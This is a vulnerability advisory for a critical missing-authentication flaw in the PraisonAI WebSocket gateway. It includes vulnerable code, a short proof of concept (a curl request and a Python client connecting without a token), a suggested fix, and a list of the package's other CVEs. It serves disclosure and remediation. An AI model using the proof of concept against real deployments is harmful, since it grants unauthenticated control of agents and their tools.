Critical

PraisonAI Has Missing Authentication in WebSocket Gateway

  • Disclosed: 01.04.2026
  • Updated: 11.10.2026 14:17

Summary

The PraisonAI Gateway server accepts WebSocket connections at /ws and serves agent topology at /info with no authentication. Any network client can connect, enumerate registered agents, and send arbitrary messages to agents and their tool sets.

Details

gateway/server.py:242 (source) -> gateway/server.py:250 (sink)

python
# source -- /info leaks all agent IDs with no auth
async def info(request):
    return JSONResponse({
        "agents": list(self._agents.keys()),
        "sessions": len(self._sessions),
        "clients": len(self._clients),
    })

# sink -- WebSocket accepted unconditionally, no token check
async def websocket_endpoint(websocket: WebSocket):
    await websocket.accept()
    client_id = str(uuid.uuid4())
    self._clients[client_id] = websocket
    # processes any message from any client

PoC

bash
# tested on: praisonai==4.5.87 (source install)
# install: pip install -e src/praisonai
# start server:
# python3 -c "import asyncio; from praisonai.gateway.server import WebSocketGateway; asyncio.run(WebSocketGateway(host='127.0.0.1', port=8765).start())" &

# Step 1 - enumerate agents, no auth
curl -s http://127.0.0.1:8765/info
# expected output: {"name":"PraisonAI Gateway","version":"1.0.0","agents":[...],"sessions":0,"clients":0}

# Step 2 - connect to WebSocket, no token
python3 -c "
 import asyncio, websockets, json
async def run():
    async with websockets.connect('ws://127.0.0.1:8765/ws') as ws:
        print('Connected with no auth')
        await ws.send(json.dumps({'type': 'join', 'agent_id': 'assistant'}))
        print(await asyncio.wait_for(ws.recv(), timeout=3))
asyncio.run(run())
"
# expected output: Connected with no auth
 # {"type": ...} -- server responds, connection accepted

Impact

Any unauthenticated attacker with network access can connect to the WebSocket gateway, enumerate all registered agents via /info, and send arbitrary messages to agents including tool execution, file reads, and API calls. GatewayConfig has an auth_token field that is never enforced in the handler.

Suggested Fix

python
async def websocket_endpoint(websocket: WebSocket):
    token = websocket.query_params.get("token") or \
            websocket.headers.get("Authorization", "").removeprefix("Bearer ")
    if self._config.auth_token and token != self._config.auth_token:
        await websocket.close(code=4001, reason="Unauthorized")
        return
    await websocket.accept()

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PlatformPackageVulnerable versionsFixed in
Python (PyPI) praisonai < 4.5.97 4.5.97

References

CVSS score 9.1/10
CVSS vector
CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:N
Weakness (CWE)
CWE-306
Platform
Python (PyPI)
Package
praisonai
Disclosed
01.04.2026
Updated
11.10.2026 14:17

Sources and licenses

OSV / GitHub Advisory Database - GHSA-cfh6-vr3j-qc3g - CC BY 4.0

OSV / GitHub Advisory Database - PYSEC-2026-474 - PyPA Advisory Database; CC BY 4.0

Vulnerability history: praisonai

All published vulnerabilities of this package (Python (PyPI)), newest first. Shows whether this is a one-off slip or a package that needs watching.

All (104) in the archive
Total entries
104
First → latest
04.2026 10.2026
Without a fix
0
Exploited in attacks
0

Severity breakdown

  • Critical 27
  • High 60
  • Medium 17

Disclosures per year

  1. 2026: 104
Severity:
  1. PraisonAI Has Missing Authentication in WebSocket Gateway this entry
    Critical · 9.1 CVE-2026-34952 < 4.5.97 4.5.97
  2. High · 7.5 CVE-2026-61439 < 4.6.78 4.6.78
  3. High · 7.3 CVE-2026-56839 < 4.6.59 4.6.59
  4. High · 7.2 CVE-2026-57114 >= 4.5.126, < 4.6.59 4.6.59
  5. Critical · 9.8 CVE-2026-57125 < 4.6.59 4.6.59
  6. High · 8.8 CVE-2026-57117 >= 4.6.10, < 4.6.59 4.6.59
  7. High · 7.8 CVE-2026-56838 >= 4.5.87, < 4.6.59 4.6.59
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